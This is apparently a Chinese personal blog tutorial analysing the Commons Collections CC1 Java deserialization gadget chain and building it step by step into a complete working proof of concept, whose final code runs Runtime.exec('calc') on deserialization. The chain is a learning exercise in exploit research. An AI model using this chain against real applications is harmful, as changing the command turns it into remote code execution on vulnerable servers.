Java反序列化CC1链

Java反序列化CC1链

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta​项目。Commons​的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper​(是一些已发布的项目)、Sandbox​(是一些正在开发的项目)和Dormant​(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API​提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/

CC1、CC2,这里指的不是cc库的版本,而是cc库的不同的利用方式,或者叫poc代码的攻击链构造方式,同时cc库版本对最终的利用结果有较大的影响,所以文章中会先给出对应的JDK版本和commons-collections版本,以便于后期调试不会出现差错。

环境配置

jdk版本:8u65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

这里注意一下,一定要是英文官网,即路径没有cn的,不然版本会下载错误

openJDK

https://hg.openjdk.org/jdk8u/jdk8u/jdk/file/af660750b2f4/

把下载的openjdk里 src/share/classes/ 里面的 sun包 复制到 jdk1.8.0_65的src解压过后的文件夹里

打开IDEA 新建一个Maven项目

将下面写入到 pom.xml 里

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image

点开maven文件如果是.class文件,点击Download Source

image

下载完成后应该是这样的

image

然后打开 IDEA 文件->项目结构-> SDK -> 源路径设置 填上刚才设置的的src目录

image

分析链子

InvokeTransformer

首先是找到了commons-collections里面的Transformer

image

它的具体作用是接受一个对象,接受进去后调用它的transform方法,就会对对象进行一些操作

先来看一下(ctrl+alt+B)

image

随便点进去一个,比如ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  ...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

/**
* Gets the constant.
*
* @return the constant
* @since Commons Collections 3.1
*/
public Object getConstant() {
return iConstant;
}

就是接收一个参数,返回一个常量,即无论输入什么都返回固定的值

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
public class ChainedTransformer implements Transformer, Serializable {

/** Serial version UID */
private static final long serialVersionUID = 3514945074733160196L;

/** The transformers to call in turn */
private final Transformer[] iTransformers;

/**
* Factory method that performs validation and copies the parameter array.
*
* @param transformers the transformers to chain, copied, no nulls
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if the transformers array is null
* @throws IllegalArgumentException if any transformer in the array is null
*/
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}

/**
* Create a new Transformer that calls each transformer in turn, passing the
* result into the next transformer. The ordering is that of the iterator()
* method on the collection.
*
* @param transformers a collection of transformers to chain
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if the transformers collection is null
* @throws IllegalArgumentException if any transformer in the collection is null
*/
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
}
if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
}
// convert to array like this to guarantee iterator() ordering
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext();) {
cmds[i++] = (Transformer) it.next();
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}

/**
* Factory method that performs validation.
*
* @param transformer1 the first transformer, not null
* @param transformer2 the second transformer, not null
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if either transformer is null
*/
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 == null || transformer2 == null) {
throw new IllegalArgumentException("Transformers must not be null");
}
Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
return new ChainedTransformer(transformers);
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

/**
* Gets the transformers, do not modify the array.
* @return the transformers
* @since Commons Collections 3.1
*/
public Transformer[] getTransformers() {
return iTransformers;
}

}

一言以蔽之,前一个的输出作为后一个的输入,递归调用

以此类推将所有实现Transformer接口的都看一遍,发现了可利用的:

InvokeTransformer

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}

这里接收一个对象,然后反射调用,方法值、参数类型、参数都是我们可以控制的,也就是任意方法调用

然后我们可以利用这个方法来弹一个计算器

先正常弹一个计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.lang.reflect.Method;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
}
}

image

再看一下InvokerTransformer需要传入哪些参数

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}

image

TransformedMap

然后我们跟进transform​,右键点击FindUsages

image

这里要注意红框里要有Libraries,如果没有,按ctrl+alt+F7,点击工具选择如下

image

TransformedMap.checkSetValue(

最后发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()

image

而这个 valueTransformer参数是否可控呢? 是什么类型呢?

我们跟进查看一下 TransformedMap类

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

接收一个map进来,然后对它的key和value进行一些操作,然后要看一下在哪里调用的

TransformedMap.decorate

往上翻发现了

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这里就完成了刚才的装饰的操作

那么我们就可以从这里试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r)
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);
}
}

所以就要看value是否可控

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

反序列化入口点

AbstractInputCheckedMapDecorator.MapEntr.setValue

继续找入口点,去触发checkSetValue

跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()

image

正常来讲我们只要遍历被修饰过的Map,就会走到setValue方法,就会调用checkSetValue(),然后就会到我们想要执行的transform(value)

因此我们可以再次构造一个链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r)
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}

image

接着要跟进setValue,找一下是谁的readObject​调用了setValue

AnnotationInvocationHandler.readObject

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

有一个遍历Map的功能,里面有setvalue

然后就要看一下AnnotationInvocationHandler​的什么参数是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

由于这个不是public所以不能直接访问,需要通过反射进行访问

所以修改一下我们的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r)
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

// for (Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

两个问题

1.setvalue是不可控的

1
2
3
4
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

2.我们代码里面的Runtime是不可序列化的(没有继承serialize接口)

image

Runtime对象不能序列化问题–解决

(在解决这个问题的时候我把其余代码都注释掉只留了相关代码)

首先它的class是可以序列化的

image

所以这一部分可以写为

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

转化为用链子的Sink点 InvokerTransformer的transform来反射

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

image

这里可以发现是后一个调用前一个,也就是transform的循环调用,这时候就想到了前面可以递归调用的ChainedTransformer

再来回顾一下它的具体细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

构造函数里面传一个transformer的数组,然后再做一个递归的调用

那么再来修改一下我们的代码

先定义一个transformer数组,再把刚刚的放入数组里面,再进行一次transform的调用

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

image

正常执行了,那么这个问题就解决了

把注释掉的部分都弄出来,简单的修改一下如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// //invokerTransformer.transform(r)

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//
//// for (Map.Entry entry:transformedMap.entrySet()){
//// entry.setValue(r);
//// }
//
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

setvalue是不可控的-解决

刚刚的代码依旧执行不了,是由几个原因的:
1.可能没有进去if里面

2.setvalue是不可控的

image

下个断点看一下

image

可以看到这里menberType为null,所以根本没有进入循环,直接就会出来,那么就根本没有走到我们想执行的setvalue方法

逻辑是它获取type,获取它的成员方法,在memberTypes.get(name)​查找它

那我们怎么进行更改呢

我们就必须要找一个有成员方法的class,数组的key要改成成员方法的名字

Override​里面的Target有成员方法value

image

那么将Override​改为Target,key改为value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//
//// for (Map.Entry entry:transformedMap.entrySet()){
//// entry.setValue(r);
//// }
//
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
...

这个时候再试一次

image

可以看到这个时候已经不为空了,进入循环

终于走到setvalue了,如果控制我们就可以命令执行,那么我们跟进去

发现了

image

这个其实就是我们的chainedtransformer,我们要把value的值改为Runtime.class,而现在是如上图所示,因为它的函数逻辑已经写了

这个时候想到了我们之前看到的ConstantTransformer,虽然最后的东西我们控制不了,只要把最后的那个点调用它的transform就可以把那个值改过来

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

现在可以整理一下

首先调用了chainedtransformer的transform方法,然后它调用了ConstantTransformer的transform方法也就是把value变成了Runtime.class

运行一下

image

成功执行

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorateMap
ChainedTransformer.transformer()
ConstantTransformer.transformer()
InvokerTransformer.transformer()
Method.getMethod
getMethod.getRuntime
InvokerTransformer.transformer()
Method.invoke
Runtime.getRuntime
InvokerTransformer.transformer()
Method.exec
Runtime.getRuntime.exec

至此Java反序列化的第一个链子就算完成了,这应该是比较重要的一条链子,从0到1总是困难的,所以这个分析了很久,也感觉有点吃力,归根到底可能还是基础比较薄弱

Java反射这部分当初没有写代码实操,只是简单的读了一些文章,记了笔记感觉是懂了,但现在回头一看感觉写的很抽象没有什么自己的理解在里面,决定还是要敲一敲代码实践一下

任重道远,希望通过接下来分析一些常见的链子能够越来越熟练吧!


Java反序列化CC1链
http://example.com/post/cc1-chain-z1gjwa5.html
作者
Dre4m
发布于
2025年7月30日
许可协议